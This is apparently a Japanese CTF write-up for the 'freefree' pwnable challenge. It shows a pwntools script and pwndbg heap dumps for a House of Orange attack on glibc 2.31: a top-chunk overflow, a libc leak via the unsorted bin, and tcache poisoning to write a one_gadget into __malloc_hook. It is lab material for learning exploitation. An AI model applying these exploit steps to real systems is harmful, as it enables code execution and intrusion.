カテゴリー: 未分類

  • 解題 pwnable – freefree

    解題 pwnable – freefree より。

    gdb (pwndbg) を使って heap を可視化。

    House of Orange での heap の状態変化を追う。

    python にて freefree を実行し gdb でアタッチする。

    from pwn import *
    
    elf = context.binary = ELF("./freefree")
    p = process(elf.path)
    gdb.attach(
        p,
        """
        set follow-fork-mode child
        break execve
        continue
    """,
    )
    
    
    def malloc(var, size):
        p.sendlineafter(b"> ", f"{var}=malloc({size})".encode())
    
    
    def gets(var, data):
        p.sendlineafter(b"> ", f"gets({var})".encode())
        p.sendline(data)
    
    
    def puts(var):
        p.sendlineafter(b"> ", f"puts({var})".encode())
        return p.recvline()[:-1]
    
    
    malloc("A", 0x10)
    input("pause 1, Enter to continue.")
    
    gets("A", b"a" * 0x18 + pack(0xD51))
    input("pause 2, Enter to continue.")
    
    malloc("B", 0xD30)
    input("pause 3, Enter to continue.")
    
    malloc("C", 0xD20)
    input("pause 4, Enter to continue.")

    1. libc_base のリーク

    方針としては House of Orange で free した旧 Top 領域を malloc で狙って割り当て、その領域の fd (unsorted bin) を読み込むことで libc_base をリークする。

    まずは chunk A を確保。# malloc(“A”, 0x10)

    最初の Size 0x290 の領域は tcache とのこと。全体で 0x21000 が確保されている。

    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaa000
    Size: 0x290 (with flag bits: 0x291)
    
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaa290
    Size: 0x20 (with flag bits: 0x21)
    
    Top chunk | PREV_INUSE
    Addr: 0x583afdcaa2b0
    Size: 0x20d50 (with flag bits: 0x20d51)

    bof により後続の top の size を上書き修正。# gets(“A”, b”a” * 0x18 + pack(0xD51))

    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaa000
    Size: 0x290 (with flag bits: 0x291)
    
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaa290
    Size: 0x20 (with flag bits: 0x21)
    
    Top chunk | PREV_INUSE
    Addr: 0x583afdcaa2b0
    Size: 0xd50 (with flag bits: 0xd51)

    その状態で chunk B (size: 0xD40) を確保。# malloc(“B”, 0xD30)

    Top chunk が unsortedbin に入った。

    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaa000
    Size: 0x290 (with flag bits: 0x291)
    
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaa290
    Size: 0x20 (with flag bits: 0x21)
    
    Free chunk (unsortedbin) | PREV_INUSE
    Addr: 0x583afdcaa2b0
    Size: 0xd30 (with flag bits: 0xd31)
    fd: 0x7060a781ace0
    bk: 0x7060a781ace0
    
    Allocated chunk
    Addr: 0x583afdcaafe0
    Size: 0x10 (with flag bits: 0x10)
    
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaaff0
    Size: 0x10 (with flag bits: 0x11)
    
    Allocated chunk
    Addr: 0x583afdcab000
    Size: 0x00 (with flag bits: 0x00)

    B はどこに行ったかというとこちら。オフセットでいうと +0x21000 の位置。

    pwndbg> x/8x 0x583afdccb000
    0x583afdccb000: 0x00000000      0x00000000      0x00000d41      0x00000000
    0x583afdccb010: 0x00000000      0x00000000      0x00000000      0x00000000

    さらに chunk C (size: 0xD30) を確保。# malloc(“C”, 0xD20)

    旧 Top chunk を確保

    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaa000
    Size: 0x290 (with flag bits: 0x291)
    
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaa290
    Size: 0x20 (with flag bits: 0x21)
    
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaa2b0
    Size: 0xd30 (with flag bits: 0xd31)
    
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaafe0
    Size: 0x10 (with flag bits: 0x11)
    
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaaff0
    Size: 0x10 (with flag bits: 0x11)
    
    Allocated chunk
    Addr: 0x583afdcab000
    Size: 0x00 (with flag bits: 0x00)

    chunk C はもともと unsorted bins に繋がれていたため、fd: 0x7060a781ace0 が記録されている。これは main_arena から +0x60 の位置になっているため、libc-2.31 の先頭から main_arena へのオフセットが 0x1ebb80 であることを踏まえ、libc_base は以下となる。

    unsort = unpack(puts('C').ljust(8, b'\0'))
    libc_base = unsort - (0x1ebb80 + 0x60)

    2. malloc_hook への one_gadget 書き込み

    次に malloc_hook に libc-2.31 の one_gadget (0xe6aee) を書き込むことを考える。

    方針としては、新たに chunk D を獲得し、その後続領域を House of Orange で free し tcache へ格納させ、さらにその後続領域の fd に該当する部分に malloc_hook のアドレスを書き込む。

    そしてその後続領域を malloc で chunk F として確保すると tcache の fd が malloc_hook になるのでそれを chunk G として確保し one_gadget を書き込む。

    まずは chunk D と chunk E を獲得し、その後続領域を House of Orange で tcache に格納させる。なお、glibc 2.28 以降の tcache 個数チェックを回避するため tcache が 2 つ要る。

    gets("B", b"b" * 0xD38 + pack(0x2C1))
    malloc("D", 0xD30)
    gets("D", b"d" * 0xD38 + pack(0x2C1))
    malloc("E", 0x2A0)

    chunk D の後続領域 (のちの F である) に malloc_hook のアドレスを書き込む。なお、fenceposts 0x20 分を考え、サイズは 2A0 にする。

    libc = ELF("libc-2.31.so")
    libc.address = libc_base
    gets("D", b"d" * 0xD38 + pack(0x2A1) + pack(libc.symbols.__malloc_hook))

    chunk F として chunk D の後続領域を確保し、続けて chunk G として malloc_hook の実行領域を確保。

    malloc("F", 0x290)
    malloc("G", 0x290)

    malloc_hook 実行領域に one_gadget を書き込む。

    one_gadget = libc_base + 0xE6AEE
    print(f"one_gadget: {hex(one_gadget)}")
    gets("G", pack(one_gadget))

    3. 仕上げ

    最後に引っ掛かりポイントがある。libc 2.31 の one_gadget 0xe6aee には実行条件として r12 == NULL がある。

    $ one_gadget libc-2.31.so
    0xe6aee execve("/bin/sh", r15, r12)
    constraints:
      [r15] == NULL || r15 == NULL || r15 is a valid argv
      [r12] == NULL || r12 == NULL || r12 is a valid envp

    ghidra で確認すると CALL variable と CALL malloc の間がこんな処理になっている。

            00001358 e8 d7 fe        CALL       variable                                         undefined variable()
                     ff ff
            0000135d 41 89 c4        MOV        R12D,EAX
            00001360 48 89 df        MOV        RDI,RBX
            00001363 e8 28 fd        CALL       <EXTERNAL>::malloc                               void * malloc(size_t __size)
                     ff ff

    CALL variable の結果が RAX (EAX) に入り、それが R12D に格納されているので、variable の return 値が 0 になっていればよい。ソースコードから variable 関数の処理内容を確認し、以下である必要があることがわかる。

    malloc("A", 0x10)